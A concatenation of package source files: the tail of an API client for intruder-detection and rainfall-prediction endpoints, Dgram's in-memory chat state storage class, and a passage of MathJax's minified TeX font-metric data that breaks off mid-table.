if response.status_code == 200:
resp = response.json()
LOGGER.info(f"Getting UUIDS, Response : {str(resp)}")
return resp
else:
return None
except Exception as e:
LOGGER.error(e)
return None
except JSONDecodeError:
LOGGER.error(f"Json Decode Error")
return None
def get_image_url(uuid: str):
url = f"{API_BASE_URL}intruder/detect/image/{uuid}?api_key={API_KEY}"
return url
async def get_rainfall_prediction(state: str, district: str):
url = f"{API_BASE_URL}rainfall/predict?api_key={API_KEY}"
headers = {"accept": "application/json"}
data = {"state": state, "district": district}
status, response = await aiohttp_helper(
url=url, headers=headers, data=data, method="post"
)
if status:
return response
else:
return None
async def get_instant_image_url(uuid: str):
url = f"{API_BASE_URL}intruder/detect/instant/{uuid}?api_key={API_KEY}"
return url
async def upload_file_to_api(path):
url = f"{API_BASE_URL}intruder/detect/instant?api_key={API_KEY}"
with open(path, "rb") as file:
files = {"image": file}
async with aiohttp.ClientSession() as session:
async with session.post(url=url, data=files) as response:
if response.status == 200:
try:
data = await response.json()
image_url = await get_instant_image_url(data["uuid"])
del data["uuid"]
data["image_url"] = image_url
return True, data
except AttributeError:
return False, None
else:
return False, None | PypiClean |
/Dgram-1.0.0.tar.gz/Dgram-1.0.0/dgram/storage/memory_storage.py | from dgram.storage.base_storage import StateStorageBase, StateContext
class StateMemoryStorage(StateStorageBase):
def __init__(self) -> None:
super().__init__()
self.data = {}
#
# {chat_id: {user_id: {'state': None, 'data': {}}, ...}, ...}
def set_state(self, chat_id, user_id, state):
if hasattr(state, 'name'):
state = state.name
if chat_id in self.data:
if user_id in self.data[chat_id]:
self.data[chat_id][user_id]['state'] = state
return True
else:
self.data[chat_id][user_id] = {'state': state, 'data': {}}
return True
self.data[chat_id] = {user_id: {'state': state, 'data': {}}}
return True
def delete_state(self, chat_id, user_id):
if self.data.get(chat_id):
if self.data[chat_id].get(user_id):
del self.data[chat_id][user_id]
if chat_id == user_id:
del self.data[chat_id]
return True
return False
def get_state(self, chat_id, user_id):
if self.data.get(chat_id):
if self.data[chat_id].get(user_id):
return self.data[chat_id][user_id]['state']
return None
def get_data(self, chat_id, user_id):
if self.data.get(chat_id):
if self.data[chat_id].get(user_id):
return self.data[chat_id][user_id]['data']
return None
def reset_data(self, chat_id, user_id):
if self.data.get(chat_id):
if self.data[chat_id].get(user_id):
self.data[chat_id][user_id]['data'] = {}
return True
return False
def set_data(self, chat_id, user_id, key, value):
if self.data.get(chat_id):
if self.data[chat_id].get(user_id):
self.data[chat_id][user_id]['data'][key] = value
return True
raise RuntimeError('chat_id {} and user_id {} does not exist'.format(chat_id, user_id))
def get_interactive_data(self, chat_id, user_id):
return StateContext(self, chat_id, user_id)
def save(self, chat_id, user_id, data):
self.data[chat_id][user_id]['data'] = data | PypiClean |
/Mathics-1.0.tar.gz/Mathics-1.0/mathics/web/media/js/mathjax/jax/output/HTML-CSS/fonts/TeX/fontdata.js | (function(g,k,l){var p="2.0";var f="MathJax_Main",j="MathJax_Main-bold",h="MathJax_Math-italic",m="MathJax_AMS",d="MathJax_Size1",c="MathJax_Size2",b="MathJax_Size3",a="MathJax_Size4";var n="H",e="V",i={load:"extra",dir:n},o={load:"extra",dir:e};g.Augment({FONTDATA:{version:p,TeX_factor:1,baselineskip:1.2,lineH:0.8,lineD:0.2,hasStyleChar:true,FONTS:{MathJax_Main:"Main/Regular/Main.js","MathJax_Main-bold":"Main/Bold/Main.js","MathJax_Main-italic":"Main/Italic/Main.js","MathJax_Math-italic":"Math/Italic/Main.js","MathJax_Math-bold-italic":"Math/BoldItalic/Main.js",MathJax_Caligraphic:"Caligraphic/Regular/Main.js",MathJax_Size1:"Size1/Regular/Main.js",MathJax_Size2:"Size2/Regular/Main.js",MathJax_Size3:"Size3/Regular/Main.js",MathJax_Size4:"Size4/Regular/Main.js",MathJax_AMS:"AMS/Regular/Main.js",MathJax_Fraktur:"Fraktur/Regular/Main.js","MathJax_Fraktur-bold":"Fraktur/Bold/Main.js",MathJax_SansSerif:"SansSerif/Regular/Main.js","MathJax_SansSerif-bold":"SansSerif/Bold/Main.js","MathJax_SansSerif-italic":"SansSerif/Italic/Main.js",MathJax_Script:"Script/Regular/Main.js",MathJax_Typewriter:"Typewriter/Regular/Main.js"},VARIANT:{normal:{fonts:[f,d,m],offsetG:945,variantG:"italic",remap:{913:65,914:66,917:69,918:90,919:72,921:73,922:75,924:77,925:78,927:79,929:80,932:84,935:88,10744:[47,"italic"]}},bold:{fonts:[j,d,m],bold:true,offsetG:945,variantG:"bold-italic",remap:{913:65,914:66,917:69,918:90,919:72,921:73,922:75,924:77,925:78,927:79,929:80,932:84,935:88,10744:[47,"bold-italic"],8708:"\u2203\u0338",8740:"\u2223\u0338",8742:"\u2225\u0338",8769:"\u223C\u0338",8775:"\u2245\u0338",8814:"<\u0338",8815:">\u0338",8816:"\u2264\u0338",8817:"\u2265\u0338",8832:"\u227A\u0338",8833:"\u227B\u0338",8840:"\u2286\u0338",8841:"\u2287\u0338",8876:"\u22A2\u0338",8877:"\u22A8\u0338",8928:"\u227C\u0338",8929:"\u227D\u0338"}},italic:{fonts:[h,"MathJax_Main-italic",f,d,m],italic:true,remap:{913:65,914:66,917:69,918:90,919:72,921:73,922:75,924:77,925:78,927:79,929:80,932:84,935:88}},"bold-italic":{fonts:["MathJax_Math-bold-italic",j,d,m],bold:true,italic:true,remap:{913:65,914:66,917:69,918:90,919:72,921:73,922:75,924:77,925:78,927:79,929:80,932:84,935:88}},"double-struck":{fonts:[m,f]},fraktur:{fonts:["MathJax_Fraktur",f,d,m]},"bold-fraktur":{fonts:["MathJax_Fraktur-bold",j,d,m],bold:true},script:{fonts:["MathJax_Script",f,d,m]},"bold-script":{fonts:["MathJax_Script",j,d,m],bold:true},"sans-serif":{fonts:["MathJax_SansSerif",f,d,m]},"bold-sans-serif":{fonts:["MathJax_SansSerif-bold",j,d,m],bold:true},"sans-serif-italic":{fonts:["MathJax_SansSerif-italic","MathJax_Main-italic",d,m],italic:true},"sans-serif-bold-italic":{fonts:["MathJax_SansSerif-italic","MathJax_Main-italic",d,m],bold:true,italic:true},monospace:{fonts:["MathJax_Typewriter",f,d,m]},"-tex-caligraphic":{fonts:["MathJax_Caligraphic",f],offsetA:65,variantA:"italic"},"-tex-oldstyle":{fonts:["MathJax_Caligraphic",f]},"-tex-mathit":{fonts:["MathJax_Main-italic",h,f,d,m],italic:true,noIC:true,remap:{913:65,914:66,917:69,918:90,919:72,921:73,922:75,924:77,925:78,927:79,929:80,932:84,935:88}},"-largeOp":{fonts:[c,d,f]},"-smallOp":{fonts:[d,f]}},RANGES:[{name:"alpha",low:97,high:122,offset:"A",add:32},{name:"number",low:48,high:57,offset:"N"},{name:"greek",low:945,high:1014,offset:"G"}],RULECHAR:8722,REMAP:{8254:713,8400:8636,8401:8640,8406:8592,8417:8596,8428:8641,8429:8637,8430:8592,8431:8594,8432:42,65079:9182,65080:9183,183:8901,697:8242,978:933,8213:8212,8215:95,8226:8729,8260:47,8965:8892,8966:10846,9642:9632,9652:9650,9653:9651,9662:9660,9663:9661,9666:9664,9001:10216,9002:10217,12296:10216,12297:10217,10072:8739,10799:215,8450:[67,k.VARIANT.DOUBLESTRUCK],8459:[72,k.VARIANT.SCRIPT],8460:[72,k.VARIANT.FRAKTUR],8461:[72,k.VARIANT.DOUBLESTRUCK],8462:[104,k.VARIANT.ITALIC],8464:[74,k.VARIANT.SCRIPT],8465:[74,k.VARIANT.FRAKTUR],8466:[76,k.VARIANT.SCRIPT],8469:[78,k.VARIANT.DOUBLESTRUCK],8473:[80,k.VARIANT.DOUBLESTRUCK],8474:[81,k.VARIANT.DOUBLESTRUCK],8475:[82,k.VARIANT.SCRIPT],8476:[82,k.VARIANT.FRAKTUR],8477:[82,k.VARIANT.DOUBLESTRUCK],8484:[90,k.VARIANT.DOUBLESTRUCK],8486:[937,k.VARIANT.NORMAL],8488:[90,k.VARIANT.FRAKTUR],8492:[66,k.VARIANT.SCRIPT],8493:[67,k.VARIANT.FRAKTUR],8496:[69,k.VARIANT.SCRIPT],8497:[70,k.VARIANT.SCRIPT],8499:[77,k.VARIANT.SCRIPT],8775:8774,8988:9484,8989:9488,8990:9492,8991:9496,8708:"\u2203\u0338",8716:"\u220B\u0338",8772:"\u2243\u0338",8777:"\u2248\u0338",8802:"\u2261\u0338",8820:"\u2272\u0338",8821:"\u2273\u0338",8824:"\u2276\u0338",8825:"\u2277\u0338",8836:"\u2282\u0338",8837:"\u2283\u0338",8930:"\u2291\u0338",8931:"\u2292\u0338",8243:"\u2032\u2032",8244:"\u2032\u2032\u2032",8246:"\u2035\u2035",8247:"\u2035\u2035\u2035",8279:"\u2032\u2032\u2032\u2032"},REMAPACCENT:{"\u2192":"\u20D7"},REMAPACCENTUNDER:{},PLANE1MAP:[[119808,119833,65,k.VARIANT.BOLD],[119834,119859,97,k.VARIANT.BOLD],[119860,119885,65,k.VARIANT.ITALIC],[119886,119911,97,k.VARIANT.ITALIC],[119912,119937,65,k.VARIANT.BOLDITALIC],[119938,119963,97,k.VARIANT.BOLDITALIC],[119964,119989,65,k.VARIANT.SCRIPT],[120068,120093,65,k.VARIANT.FRAKTUR],[120094,120119,97,k.VARIANT.FRAKTUR],[120120,120145,65,k.VARIANT.DOUBLESTRUCK],[120172,120197,65,k.VARIANT.BOLDFRAKTUR],[120198,120223,97,k.VARIANT.BOLDFRAKTUR],[120224,120249,65,k.VARIANT.SANSSERIF],[120250,120275,97,k.VARIANT.SANSSERIF],[120276,120301,65,k.VARIANT.BOLDSANSSERIF],[120302,120327,97,k.VARIANT.BOLDSANSSERIF],[120328,120353,65,k.VARIANT.SANSSERIFITALIC],[120354,120379,97,k.VARIANT.SANSSERIFITALIC],[120432,120457,65,k.VARIANT.MONOSPACE],[120458,120483,97,k.VARIANT.MONOSPACE],[120488,120513,913,k.VARIANT.BOLD],[120546,120570,913,k.VARIANT.ITALIC],[120572,120603,945,k.VARIANT.ITALIC],[120604,120628,913,k.VARIANT.BOLDITALIC],[120630,120661,945,k.VARIANT.BOLDITALIC],[120662,120686,913,k.VARIANT.BOLDSANSSERIF],[120720,120744,913,k.VARIANT.SANSSERIFBOLDITALIC],[120782,120791,48,k.VARIANT.BOLD],[120802,120811,48,k.VARIANT.SANSSERIF],[120812,120821,48,k.VARIANT.BOLDSANSSERIF],[120822,120831,48,k.VARIANT.MONOSPACE]],REMAPGREEK:{913:65,914:66,917:69,918:90,919:72,921:73,922:75,924:77,925:78,927:79,929:80,930:920,932:84,935:88,938:8711,970:8706,971:1013,972:977,973:1008,974:981,975:1009,976:982},RemapPlane1:function(t,s){for(var r=0,q=this.PLANE1MAP.length;r<q;r++){if(t<this.PLANE1MAP[r][0]){break}if(t<=this.PLANE1MAP[r][1]){t=t-this.PLANE1MAP[r][0]+this.PLANE1MAP[r][2];if(this.REMAPGREEK[t]){t=this.REMAPGREEK[t]}s=this.VARIANT[this.PLANE1MAP[r][3]];break}}return{n:t,variant:s}},DELIMITERS:{40:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9115,a],ext:[9116,a],bot:[9117,a]}},41:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9118,a],ext:[9119,a],bot:[9120,a]}},47:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]]},91:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9121,a],ext:[9122,a],bot:[9123,a]}},92:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]]},93:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9124,a],ext:[9125,a],bot:[9126,a]}},123:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9127,a],mid:[9128,a],bot:[9129,a],ext:[9130,a]}},124:{dir:e,HW:[[1,f]],stretch:{ext:[8739,f]}},125:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9131,a],mid:[9132,a],bot:[9133,a],ext:[9130,a]}},175:{dir:n,HW:[[0.59,f]],stretch:{rep:[175,f]}},710:{dir:n,HW:[[0.267+0.25,f],[0.567+0.25,d],[1.005+0.33,c],[1.447+0.33,b],[1.909,a]]},732:{dir:n,HW:[[0.333+0.25,f],[0.555+0.25,d],[1+0.33,c],[1.443+0.33,b],[1.887,a]]},8214:{dir:e,HW:[[0.602,d],[1,f,null,8741]],stretch:{ext:[8741,f]}},8592:{dir:n,HW:[[1,f]],stretch:{left:[8592,f],rep:[8722,f]}},8593:{dir:e,HW:[[0.888,f]],stretch:{top:[8593,d],ext:[9168,d]}},8594:{dir:n,HW:[[1,f]],stretch:{rep:[8722,f],right:[8594,f]}},8595:{dir:e,HW:[[0.888,f]],stretch:{ext:[9168,d],bot:[8595,d]}},8596:{dir:n,HW:[[1,f]],stretch:{left:[8592,f],rep:[8722,f],right:[8594,f]}},8597:{dir:e,HW:[[1.044,f]],stretch:{top:[8593,d],ext:[9168,d],bot:[8595,d]}},8656:{dir:n,HW:[[1,f]],stretch:{left:[8656,f],rep:[61,f]}},8657:{dir:e,HW:[[0.888,f]],stretch:{top:[8657,d],ext:[8214,d]}},8658:{dir:n,HW:[[1,f]],stretch:{rep:[61,f],right:[8658,f]}},8659:{dir:e,HW:[[0.888,f]],stretch:{ext:[8214,d],bot:[8659,d]}},8660:{dir:n,HW:[[1,f]],stretch:{left:[8656,f],rep:[61,f],right:[8658,f]}},8661:{dir:e,HW:[[1.044,f]],stretch:{top:[8657,d],ext:[8214,d],bot:[8659,d]}},8722:{dir:n,HW:[[0.611,f]],stretch:{rep:[8722,f]}},8730:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[57345,a],ext:[57344,a],bot:[9143,a],fullExtenders:true}},8739:{dir:e,HW:[[1,f]],stretch:{ext:[8739,f]}},8741:{dir:e,HW:[[1,f]],stretch:{ext:[8741,f]}},8968:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9121,a],ext:[9122,a]}},8969:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{top:[9124,a],ext:[9125,a]}},8970:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{ext:[9122,a],bot:[9123,a]}},8971:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]],stretch:{ext:[9125,a],bot:[9126,a]}},9130:{dir:e,HW:[[0.32,a]],stretch:{top:[9130,a],ext:[9130,a],bot:[9130,a]}},9136:{dir:e,HW:[[0.989,f]],stretch:{top:[9127,a],ext:[9130,a],bot:[9133,a]}},9137:{dir:e,HW:[[0.989,f]],stretch:{top:[9131,a],ext:[9130,a],bot:[9129,a]}},9168:{dir:e,HW:[[0.602,d],[1,f,null,8739]],stretch:{ext:[8739,f]}},9182:{dir:n,HW:[],stretch:{left:[57680,a],mid:[[57683,57682],a],right:[57681,a],rep:[57684,a]}},9183:{dir:n,HW:[],stretch:{left:[57682,a],mid:[[57681,57680],a],right:[57683,a],rep:[57684,a]}},10216:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]]},10217:{dir:e,HW:[[1,f],[1.2,d],[1.8,c],[2.4,b],[3,a]]},10222:{dir:e,HW:[[0.989,f]],stretch:{top:[9127,a],ext:[9130,a],bot:[9129,a]}},10223:{dir:e,HW:[[0.989,f]],stretch:{top:[9131,a],ext:[9130,a],bot:[9133,a]}},45:{alias:8722,dir:n},94:{alias:710,dir:n},95:{alias:8722,dir:n},126:{alias:732,dir:n},713:{alias:175,dir:n},770:{alias:710,dir:n},771:{alias:732,dir:n},780:{alias:711,dir:n},818:{alias:8722,dir:n},8213:{alias:8722,dir:n},8215:{alias:8722,dir:n},8254:{alias:175,dir:n},8725:{alias:47,dir:e},9001:{alias:10216,dir:e},9002:{alias:10217,dir:e},9135:{alias:8722,dir:n},9472:{alias:8722,dir:n},10072:{alias:8739,dir:e},12296:{alias:10216,dir:e},12297:{alias:10217,dir:e},65079:{alias:9182,dir:n},65080:{alias:9183,dir:n},61:i,8606:i,8608:i,8612:i,8613:o,8614:i,8615:o,8624:o,8625:o,8636:i,8637:i,8638:o,8639:o,8640:i,8641:i,8642:o,8643:o,8666:i,8667:i,9140:i,9141:i,9180:i,9181:i,9184:i,9185:i,10502:i,10503:i,10574:i,10575:o,10576:i,10577:o,10586:i,10587:i,10588:o,10589:o,10590:i,10591:i,10592:o,10593:o,10229:{alias:8592,dir:n},10230:{alias:8594,dir:n},10231:{alias:8596,dir:n},10232:{alias:8656,dir:n},10233:{alias:8658,dir:n},10234:{alias:8660,dir:n},10235:{alias:8612,dir:n},10236:{alias:8614,dir:n},10237:{alias:10502,dir:n},10238:{alias:10503,dir:n}}}});g.Font.oldLoadComplete=g.Font.loadComplete;g.Font.loadComplete=function(s,t,r,q){if(t!=null){this.oldLoadComplete(s,t,r,q)}if(s.family===d||s.family===c){if(s.version===1){g.FONTDATA.VARIANT["-largeOp"].remap={8898:8899,8899:8898};g.FONTDATA.VARIANT["-smallOp"].remap={8898:8899,8899:8898}}}};MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var q=MathJax.InputJax.TeX;q.Definitions.mathchar0mi.ell=["2113",{mathvariant:k.VARIANT.NORMAL}];q.Definitions.mathchar0mi.hbar=["210F",{mathvariant:k.VARIANT.NORMAL}];q.Definitions.mathchar0mi.S=["00A7",{mathvariant:k.VARIANT.SCRIPT}]});g.FONTDATA.FONTS.MathJax_Caligraphic={directory:"Caligraphic/Regular",family:"MathJax_Caligraphic",testString:"MATHJAX CALIGRAPHIC",skew:{65:0.194,66:0.139,67:0.139,68:0.0833,69:0.111,70:0.111,71:0.111,72:0.111,73:0.0278,74:0.167,75:0.0556,76:0.139,77:0.139,78:0.0833,79:0.111,80:0.0833,81:0.111,82:0.0833,83:0.139,84:0.0278,85:0.0833,86:0.0278,87:0.0833,88:0.139,89:0.0833,90:0.139},32:[0,0,250,0,0],48:[452,22,500,39,460],49:[453,0,500,86,426],50:[453,0,500,44,449],51:[452,216,500,42,456],52:[464,194,500,28,471],53:[453,216,500,50,448],54:[665,22,500,42,456],55:[463,216,500,55,485],56:[666,21,500,43,456],57:[453,216,500,42,457],65:[728,50,798,30,819],66:[705,22,657,32,664],67:[705,25,527,12,533],68:[683,0,771,19,766],69:[705,22,528,30,564],70:[683,32,719,18,829],71:[704,119,595,44,599],72:[683,48,845,18,803],73:[683,0,545,-30,642],74:[683,119,678,47,839],75:[705,22,762,32,732],76:[705,22,690,32,656],77:[705,50,1201,28,1137],78:[789,50,820,-27,979],79:[705,22,796,58,777],80:[683,57,696,19,733],81:[705,131,817,114,787],82:[682,22,848,19,837],83:[705,22,606,18,642],84:[717,68,545,34,833],85:[683,28,626,-17,687],86:[683,52,613,25,658],87:[683,53,988,25,1034],88:[683,0,713,52,807],89:[683,143,668,31,714],90:[683,0,725,37,767],160:[0,0,250,0,0]};g.FONTDATA.FONTS["MathJax_Main-bold"]={directory:"Main/Bold",family:"MathJax_Main",weight:"bold",testString:"MathJax Main ^ \u210F \u2223",skew:{305:0.0319,567:0.0958,8463:-0.0319,8467:0.128,8706:0.0958},Ranges:[[160,255,"Latin1Supplement"],[256,383,"LatinExtendedA"],[384,591,"LatinExtendedB"],[688,767,"SpacingModLetters"],[768,879,"CombDiacritMarks"],[8192,8303,"GeneralPunctuation"],[8400,8447,"CombDiactForSymbols"],[8448,8527,"LetterlikeSymbols"],[8592,8703,"Arrows"],[8704,8959,"MathOperators"],[8960,9215,"MiscTechnical"],[9632,9727,"GeometricShapes"],[9728,9983,"MiscSymbols"],[10176,10223,"MiscMathSymbolsA"],[10224,10239,"SupplementalArrowsA"],[10752,11007,"SuppMathOperators"]],32:[0,0,250,0,0],33:[705,-1,350,89,260],34:[694,-329,603,38,492],35:[694,193,958,64,893],36:[750,56,575,64,510],37:[750,56,958,65,893],38:[705,11,894,48,836],39:[694,-329,319,74,261],40:[750,249,447,103,382],41:[750,249,447,64,343],42:[750,-306,575,73,501],43:[633,131,894,64,829],44:[171,194,319,74,258],45:[278,-166,383,13,318],46:[171,-1,319,74,245],47:[750,250,575,63,511],48:[654,10,575,45,529],49:[655,0,575,80,494],50:[654,0,575,57,517],51:[655,11,575,47,526],52:[656,0,575,32,542],53:[655,11,575,57,517],54:[655,11,575,48,526],55:[676,11,575,64,558],56:[654,11,575,48,526],57:[654,11,575,48,526],58:[444,-1,319,74,245],59:[444,194,319,74,248],60:[587,85,894,96,797],61:[393,-109,894,64,829],62:[587,85,894,96,797],63:[700,-1,543,65,478],64:[699,6,894,64,829],65:[698,0,869,40,828],66:[686,0,818,39,752],67:[697,11,831,64,766],68:[686,0,882,39,817],69:[680,0,756,39,723],70:[680,0,724,39,675],71:[697,10,904,64,845],72:[686,0,900,39,860],73:[686,0,436,25,410],74:[686,11,594,8,527],75:[686,0,901,39,852],76:[686,0,692,39,643],77:[686,0,1092,39,1052],78:[686,0,900,39,860],79:[696,10,864,64,798],80:[686,0,786,39,721],81:[696,193,864,64,805],82:[686,11,862,39,858],83:[697,11,639,64,574],84:[675,0,800,41,758],85:[686,11,885,39,845],86:[686,7,869,25,843],87:[686,7,1189,24,1164],88:[686,0,869,33,835],89:[686,0,869,19,849],90:[686,0,703,64,645],91:[750,250,319,128,293],92:[750,250,575,63,511],93:[750,250,319,25,190],94:[694,-520,575,126,448],95:[-10,61,575,0,574],96:[706,-503,575,114,338],97:[453,6,559,32,558],98:[694,6,639,29,600],99:[453,6,511,39,478],100:[694,6,639,38,609],101:[452,6,527,32,494],102:[700,0,351,40,452],103:[455,201,575,30,558],104:[694,0,639,37,623],105:[695,0,319,40,294],106:[695,200,351,-71,274],107:[694,0,607,29,587],108:[694,0,319,40,301],109:[450,0,958,37,942],110:[450,0,639,37,623],111:[452,5,575,32,542],112:[450,194,639,29,600],113:[450,194,607,38,609],114:[450,0,474,29,442],115:[453,6,454,38,414],116:[635,5,447,21,382],117:[450,6,639,37,623],118:[444,3,607,26,580],119:[444,4,831,25,805],120:[444,0,607,21,586],121:[444,200,607,23,580],122:[444,0,511,32,462],123:[750,250,575,70,504],124:[750,249,319,129,190],125:[750,250,575,70,504],126:[344,-202,575,96,478],915:[680,0,692,39,643],916:[698,0,958,56,901],920:[696,10,894,64,829],923:[698,0,806,40,765],926:[675,0,767,48,718],928:[680,0,900,39,860],931:[686,0,831,63,766],933:[697,0,894,64,829],934:[686,0,831,64,766],936:[686,0,894,64,829],937:[696,0,831,51,779]};g.FONTDATA.FONTS["MathJax_Main-italic"]={directory:"Main/Italic",family:"MathJax_Main",style:"italic",testString:"MathJax Main ^ \u210F \u2223",Ranges:[[160,255,"Latin1Supplement"],[768,879,"CombDiacritMarks"],[8192,8303,"GeneralPunctuation"],[8448,8527,"LetterlikeSymbols"]],32:[0,0,250,0,0],33:[716,0,307,107,380],34:[694,-379,514,176,538],35:[694,194,818,115,828],37:[750,56,818,145,847],38:[716,22,767,127,802],39:[694,-379,307,213,377],40:[750,250,409,144,517],41:[750,250,409,17,390],42:[750,-320,511,195,584],43:[557,57,767,139,753],44:[121,194,307,69,232],45:[251,-180,358,84,341],46:[121,0,307,107,231],47:[750,250,511,19,617],48:[665,21,511,110,562],49:[666,0,511,110,468],50:[666,22,511,76,551],51:[666,22,511,96,562],52:[666,194,511,46,478],53:[666,22,511,106,567],54:[665,22,511,120,565],55:[666,22,511,136,634],56:[666,21,511,99,553],57:[666,22,511,107,553],58:[431,0,307,107,308],59:[431,194,307,70,308],61:[367,-133,767,116,776],63:[716,0,511,195,551],64:[705,11,767,152,789],65:[716,0,743,58,696],66:[683,0,704,57,732],67:[705,21,716,150,812],68:[683,0,755,56,775],69:[680,0,678,54,743],70:[680,-1,653,54,731],71:[705,22,774,150,812],72:[683,0,743,54,860],73:[683,0,386,49,508],74:[683,21,525,78,622],75:[683,0,769,54,859],76:[683,0,627,54,628],77:[683,0,897,58,1010],78:[683,0,743,54,860],79:[704,22,767,149,788],80:[683,0,678,55,729],81:[704,194,767,149,788],82:[683,22,729,55,723],83:[705,22,562,74,633],84:[677,0,716,171,806],85:[683,22,743,194,860],86:[683,22,743,205,868],87:[683,22,999,205,1124],88:[683,0,743,50,825],89:[683,0,743,198,875],90:[683,0,613,80,704],91:[750,250,307,73,446],93:[750,250,307,-14,359],94:[694,-527,511,260,528],95:[-25,62,511,91,554],97:[442,11,511,101,543],98:[694,11,460,108,467],99:[441,10,460,103,469],100:[694,11,511,101,567],101:[442,10,460,107,470],102:[705,204,307,-23,450],103:[442,205,460,46,494],104:[694,11,511,69,544],105:[656,10,307,75,340],106:[656,204,307,-32,364],107:[694,11,460,69,498],108:[694,11,256,87,312],109:[442,11,818,75,851],110:[442,11,562,75,595],111:[442,11,511,103,517],112:[442,194,511,6,518],113:[442,194,460,101,504],114:[442,11,422,75,484],115:[442,11,409,76,418],116:[626,11,332,87,373],117:[441,11,537,75,570],118:[443,10,460,75,492],119:[443,11,664,75,696],120:[442,11,464,58,513],121:[441,205,486,75,522],122:[442,11,409,54,466],126:[318,-208,511,246,571],163:[714,11,769,88,699],305:[441,10,307,75,340],567:[442,204,332,-32,327],915:[680,0,627,54,705],916:[716,0,818,70,751],920:[704,22,767,149,788],923:[716,0,692,58,646],926:[677,0,664,74,754],928:[680,0,743,54,859],931:[683,0,716,80,782],933:[705,0,767,213,832],934:[683,0,716,159,728],936:[683,0,767,207,824],937:[705,0,716,100,759]};g.FONTDATA.FONTS.MathJax_Main={directory:"Main/Regular",family:"MathJax_Main",testString:"MathJax Main ^ \u210F \u2223",skew:{305:0.0278,567:0.0833,8467:0.111,8472:0.111,8706:0.0833},Ranges:[[688,767,"SpacingModLetters"],[768,879,"CombDiacritMarks"],[9632,9727,"GeometricShapes"],[9728,9983,"MiscSymbols"]],32:[0,0,250,0,0],33:[716,-1,278,78,199],34:[694,-379,500,34,372],35:[694,194,833,56,777],36:[750,56,500,55,444],37:[750,56,833,56,776],38:[716,22,778,42,727],39:[694,-379,278,78,212],40:[750,250,389,94,333],41:[750,250,389,55,294],42:[750,-320,500,64,435],43:[583,82,778,56,722],44:[121,194,278,78,210],45:[252,-179,333,11,277],46:[120,0,278,78,199],47:[750,250,500,56,445],48:[666,22,500,39,460],49:[666,0,500,83,427],50:[666,0,500,50,449],51:[665,22,500,42,457],52:[677,0,500,28,471],53:[666,22,500,50,449],54:[666,22,500,42,456],55:[676,22,500,55,485],56:[666,22,500,43,457],57:[666,22,500,42,456],58:[430,0,278,78,199],59:[430,194,278,78,202],60:[540,40,778,83,694],61:[367,-133,778,56,722],62:[540,40,778,83,694],63:[705,-1,472,55,416],64:[705,11,778,56,722],65:[716,0,750,32,717],66:[683,0,708,28,651],67:[705,21,722,56,666],68:[683,0,764,27,708],69:[680,0,681,25,652],70:[680,0,653,25,610],71:[705,22,785,56,735],72:[683,0,750,25,724],73:[683,0,361,21,339],74:[683,22,514,25,465],75:[683,0,778,25,736],76:[683,0,625,25,582],77:[683,0,917,29,887],78:[683,0,750,25,724],79:[705,22,778,56,722],80:[683,0,681,27,624],81:[705,193,778,56,728],82:[683,22,736,27,732],83:[705,22,556,55,500],84:[677,0,722,36,685],85:[683,22,750,25,724],86:[683,22,750,19,730],87:[683,22,1028,18,1009],88:[683,0,750,23,726],89:[683,0,750,11,738],90:[683,0,611,55,560],91:[750,250,278,118,255],92:[750,250,500,56,444],93:[750,250,278,22,159],94:[694,-531,500,112,387],95:[-25,62,500,0,499],96:[699,-505,500,106,295],97:[448,11,500,34,493],98:[694,11,556,20,522],99:[448,11,444,34,415],100:[694,11,556,34,535],101:[448,11,444,28,415],102:[705,0,306,26,372],103:[453,206,500,29,485],104:[694,0,556,25,542],105:[669,0,278,26,255],106:[669,205,306,-55,218],107:[694,0,528,20,511],108:[694,0,278,26,263],109:[442,0,833,25,819],110:[442,0,556,25,542],111:[448,10,500,28,471],112:[442,194,556,20,522],113:[442,194,528,33,535],114:[442,0,392,20,364],115:[448,11,394,33,359],116:[615,10,389,18,333],117:[442,11,556,25,542],118:[431,11,528,19,508],119:[431,11,722,18,703],120:[431,0,528,11,516],121:[431,204,528,19,508],122:[431,0,444,28,401],123:[750,250,500,65,434],124:[750,249,278,119,159],125:[750,250,500,65,434],126:[318,-215,500,83,416],160:[0,0,250,0,0],168:[669,-554,500,95,404],172:[356,-89,667,56,611],175:[590,-544,500,69,430],176:[715,-542,500,147,352],177:[666,0,778,56,722],180:[699,-505,500,203,393],215:[491,-9,778,147,630],247:[537,36,778,56,721],305:[442,0,278,26,255],567:[442,205,306,-55,218],710:[694,-531,500,112,387],711:[644,-513,500,114,385],713:[590,-544,500,69,430],714:[699,-505,500,203,393],715:[699,-505,500,106,295],728:[694,-515,500,92,407],729:[669,-549,500,190,309],732:[668,-565,500,83,416],915:[680,0,625,25,582],916:[716,0,833,46,786],920:[705,22,778,56,722],923:[716,0,694,32,661],926:[677,0,667,42,624],928:[680,0,750,25,724],931:[683,0,722,55,666],933:[705,0,778,55,722],934:[683,0,722,56,665],936:[683,0,778,55,722],937:[704,0,722,44,677],8194:[0,0,500,0,0],8195:[0,0,999,0,0],8196:[0,0,333,0,0],8197:[0,0,250,0,0],8198:[0,0,167,0,0],8201:[0,0,167,0,0],8202:[0,0,83,0,0],8211:[285,-248,500,0,499],8212:[285,-248,1000,0,999],8216:[694,-379,278,64,198],8217:[694,-379,278,78,212],8220:[694,-379,500,128,466],8221:[694,-379,500,34,372],8224:[705,216,444,55,389],8225:[